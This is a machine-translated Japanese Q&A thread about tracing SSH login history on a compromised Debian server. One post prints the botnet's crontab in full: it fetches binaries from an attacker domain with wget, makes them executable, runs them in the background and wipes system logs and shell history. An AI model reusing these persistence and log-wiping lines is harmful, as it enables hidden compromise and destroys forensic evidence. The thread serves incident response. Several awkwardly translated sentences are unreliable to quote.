ssh経由でサーバーにアクセスしたIPアドレスの履歴


42

私のサーバーがハッキングされ、既知の中国のボットネットに感染していることに気付きました。

これは、独自の静的IP(米国アドレス)を備えたプロトタイプ/テスト用の仮想マシンであったため、害は発生しませんでした(理解するのに少し時間がかかりました)。

ここで、攻撃に中国から発信されたものかどうかを知るために、どのIP / sが侵入に使用されたかを知りたいと思います。

サーバー上のsshで受信した接続の履歴を表示する方法はありますか?

編集:システムはLinux Debian 7です

回答:


45

出力を見てlastIPアドレスまたはホスト名の代わりに、空白でコマンドと何もネットワーク上で来ました。sshdこのシステムでそれを行う唯一の方法であれば、そこに行きます。

あるいは(これがLinuxの場合)、/var/log/secure(RHベースのディストリビューションで)または/var/log/auth.log(Debianベースのディストリビューションで)sshdログインが成功しない場合でも通常行われる接続を追跡する場所(utmp/ をヒットするwtmp)を確認できます何であるlast)から読み込まれます。例:

Apr  3 16:21:01 xxxxxxvlp05 sshd[6266]: Connection closed by xxx.xxx.13.76
...
Apr  3 09:09:49 xxxxxxvlp05 sshd[26275]: Failed password for invalid user __super from xxx.xxx.13.76 port 45229 ssh2

IIRC Solaris sshd(必ずしもOpenSSHであるとは限りませんsshd)は、この情報を/var/adm/messages

編集:

@derobertは素晴らしい点です。それはあなたのスーパーユーザアカウントが侵害された場合など、ログファイルので、任意のシステム上で、すべてのベットはオフになっていることを覚えておくことが重要です/var/log/wtmpかは、/var/adm/messages攻撃者によって変更することができます。これは、サーバーからログを安全な場所に押し出した場合に軽減できます。

たとえば、私が働いていたある店では、データセンターのさまざまなサーバーからのみ監査ログファイルを受信できるようにセキュリティで保護された「監査ボールト」マシンがありました。将来的に同様のセットアップを行うことをお勧めします(「私はテストマシンを持っている」と思われるのは、大規模なショップで働いているようです)


7
あなたの答えはほぼすべてをカバーしているので、私は自分で追加したくありません...しかし、「攻撃者がルートを取得している場合、ほとんどの構成では、ボックスのログデータは本当に信頼できない、rootはログを簡単に編集できるため。」
デロバート14

1
@derobert、あなたが提案したことに沿っていくつかの詳細を追加しました:)
Ramesh

待ってください、 '/ var / log / secure'はDebian上ではなく、Red Hatの歪み内にあります。
Secko

@Secko両方を含めるように回答を編集しました。
ブルックリー

14

サーバー上のsshで受信した接続の履歴を表示する方法はありますか?

これにより、リストが表示されます。

$ zgrep sshd /var/log/auth.log* | grep rhost | sed -re 's/.*rhost=([^ ]+).*/\1/' | sort -u

次にgeoiplookupgeoip-binパッケージから使用して、ホスト名またはIPアドレスから国に移動できます。


便利な+1。コマンドを更新して時刻と日付を表示できますか?
エデュアルドフロリネスク

3
@Eduard Florinescu申し訳ありませんが、私のsedスキルはそんな神ではありません。より複雑なことを行うには、Pythonまたは専用のログパーサーを使用します。しかし、あなたはこれを試すことができます:zgrep sshd /var/log/auth.log* -h |grep -F 'Failed password'
TorkelBjørnson-Langen15年

6

さて、予想通り、@ Joel Davisが言ったように、すべてのログは消去されましたが、@ Rameshがrootユーザーにアクセスしようとしたが正しいパスワードを数回入力できず、再試行が多すぎます。

3つのアドレスでtracerouteを実行し、2つは中国から、もう1つはパキスタンからです。これらはIPです:

221.120.224.179
116.10.191.218
61.174.51.221

サーバーが侵害された後にサーバーに挿入されたボットネットに関する詳細情報:

ハッカーはcrontabを編集して、x時間ごとにすべてのCPUを使い尽くし、サーバーのネットワーク出力を最大にして、死ぬ7つの実行可能ファイルを実行します。また、追加された行を非表示にするためにcrontabにreadmeを100回追加します。そのため、実行crontab -lすると、readmeによって隠された行がスパムされます。これを回避するために、私はこのcrontab -l | grep -v '^#'コマンドの出力を使用しました。

*/1 * * * * killall -9 .IptabLes
*/1 * * * * killall -9 nfsd4
*/1 * * * * killall -9 profild.key
*/1 * * * * killall -9 nfsd
*/1 * * * * killall -9 DDosl
*/1 * * * * killall -9 lengchao32
*/1 * * * * killall -9 b26
*/1 * * * * killall -9 codelove
*/1 * * * * killall -9 32
*/1 * * * * killall -9 64
*/1 * * * * killall -9 new6
*/1 * * * * killall -9 new4
*/1 * * * * killall -9 node24
*/1 * * * * killall -9 freeBSD
*/99 * * * * killall -9 kysapd
*/98 * * * * killall -9 atdd
*/97 * * * * killall -9 kysapd
*/96 * * * * killall -9 skysapd
*/95 * * * * killall -9 xfsdx
*/94 * * * * killall -9 ksapd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd
*/120 * * * * cd /root;rm -rf dir nohup.out
*/360 * * * * cd /etc;rm -rf dir atdd
*/360 * * * * cd /etc;rm -rf dir ksapd
*/360 * * * * cd /etc;rm -rf dir kysapd
*/360 * * * * cd /etc;rm -rf dir skysapd
*/360 * * * * cd /etc;rm -rf dir sksapd
*/360 * * * * cd /etc;rm -rf dir xfsdx
*/1 * * * * cd /etc;rm -rf dir cupsdd.*
*/1 * * * * cd /etc;rm -rf dir atdd.*
*/1 * * * * cd /etc;rm -rf dir ksapd.*
*/1 * * * * cd /etc;rm -rf dir kysapd.*
*/1 * * * * cd /etc;rm -rf dir skysapd.*
*/1 * * * * cd /etc;rm -rf dir sksapd.*
*/1 * * * * cd /etc;rm -rf dir xfsdx.*
*/1 * * * * chmod 7777 /etc/atdd
*/1 * * * * chmod 7777 /etc/cupsdd
*/1 * * * * chmod 7777 /etc/ksapd
*/1 * * * * chmod 7777 /etc/kysapd
*/1 * * * * chmod 7777 /etc/skysapd
*/1 * * * * chmod 7777 /etc/sksapd
*/1 * * * * chmod 7777 /etc/xfsdx
*/99 * * * * nohup /etc/cupsdd > /dev/null 2>&1&
*/100 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/99 * * * * nohup /etc/atdd > /dev/null 2>&1&
*/98 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/97 * * * * nohup /etc/skysapd > /dev/null 2>&1&
*/96 * * * * nohup /etc/xfsdx > /dev/null 2>&1&
*/95 * * * * nohup /etc/ksapd > /dev/null 2>&1&
*/1 * * * * echo "unset MAILCHECK" >> /etc/profile
*/1 * * * * rm -rf /root/.bash_history
*/1 * * * * touch /root/.bash_history
*/1 * * * * history -r
*/1 * * * * cd /var/log > dmesg 
*/1 * * * * cd /var/log > auth.log 
*/1 * * * * cd /var/log > alternatives.log 
*/1 * * * * cd /var/log > boot.log 
*/1 * * * * cd /var/log > btmp 
*/1 * * * * cd /var/log > cron 
*/1 * * * * cd /var/log > cups 
*/1 * * * * cd /var/log > daemon.log 
*/1 * * * * cd /var/log > dpkg.log 
*/1 * * * * cd /var/log > faillog 
*/1 * * * * cd /var/log > kern.log 
*/1 * * * * cd /var/log > lastlog
*/1 * * * * cd /var/log > maillog 
*/1 * * * * cd /var/log > user.log 
*/1 * * * * cd /var/log > Xorg.x.log 
*/1 * * * * cd /var/log > anaconda.log 
*/1 * * * * cd /var/log > yum.log 
*/1 * * * * cd /var/log > secure
*/1 * * * * cd /var/log > wtmp
*/1 * * * * cd /var/log > utmp 
*/1 * * * * cd /var/log > messages
*/1 * * * * cd /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * cd /var/log > aculog
*/1 * * * * cd /var/log > access-log
*/1 * * * * cd /root > .bash_history
*/1 * * * * history -c

ご覧のとおり、すべてのログファイルがクリアされているため、多くの情報を取得できませんでした。

サーバー全体(すべてのVM)がダウンし、サイトおよびproxmoxでタイムアウトが発生しました。グラフは次のとおりです(スパイクはボットネットがアクティブにDDoSを実行していることを示しており、ネットワークに気づいています): ボットネットアクティビティ

その結果、すべての接続をブロックするために中国のIPアドレスの全範囲をファイアウォールに追加します(中国のユーザーはいないので気にしません)。また、リモートルートログインを許可せず、長い複雑さを使用します。パスワード。また、ほとんどの場合、sshポートを変更し、プライベートsshキーも使用します。


3
これはかなり怖いものです-彼らがあなたのシステムにどのようにアクセスしたか考えていますか?弱いパスワードに対するブルートフォースハックですか?
user35581

3

この回答から、以下の情報が表示されます。

SSHサーバーについて話して、コマンドラインソリューションを紹介します。

ユーザーのログインとログアウトを追跡します。それは簡単です、ファイルに/var/log/auth.logはこの情報が必要です。

それらのユーザーのアクティビティを追跡するユーザーがやや無邪気な場合.bash_historyは、ホームディレクトリのファイルを確認できます。実行したコマンドのリストが表示されます。問題はもちろん、このファイルを削除または編集できることです。

ユーザーがログを削除するのを防ぎます:ユーザーはタッチできないはずauth.logです。彼らが遊ぶのを止めるbash_historyには、いくつかのトリックをする必要があります。

ユーザーがルートアクセスを取得できた場合はどうなりますか?:あなたはめちゃくちゃです。ミスをしない限り、彼はすべての足跡を隠すことができます。

また、この回答から、SSH_CLIENT変数を使用してクライアントのIPアドレスを確認できます。

また、この回答から、ssh履歴がこれらのファイルに保存される可能性があることがわかります。

加えて/var/log/lastlog、3つのファイルである/var/run/var/logutmpwtmpおよびbtmp現在のログイン(追加情報)についての情報、歴史的、失敗したログインを保持します、。詳細な説明については、Wikiを参照してください。通常のエディターでファイルを編集することはできませんが、消去することはできます。


1

マシンに最後にログインした10人のユーザーを取得する最も簡単なコマンドはlast|headです。

すべてのユーザーを取得するには、単にlastコマンドを使用します


1

このマシンは危険にさらされています。これは、履歴または現在のデータが信頼できないことを意味します。

要するに、答えはノーです。このマシンに記録されたログファイルから発信元アドレスを見つけたことを確認することはできません。

ワイプして再インストールします。そしてパッチ。


1

パスワードによる成功したログイン試行のみを表示するには:

zgrep sshd /var/log/auth.log* -h |grep -F 'Accepted password for'

1

Debianの場合、テスト検索の言葉は少し異なります

zgrep sshd /var/log/auth.log* -h |grep -F 'session opened for user'
弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.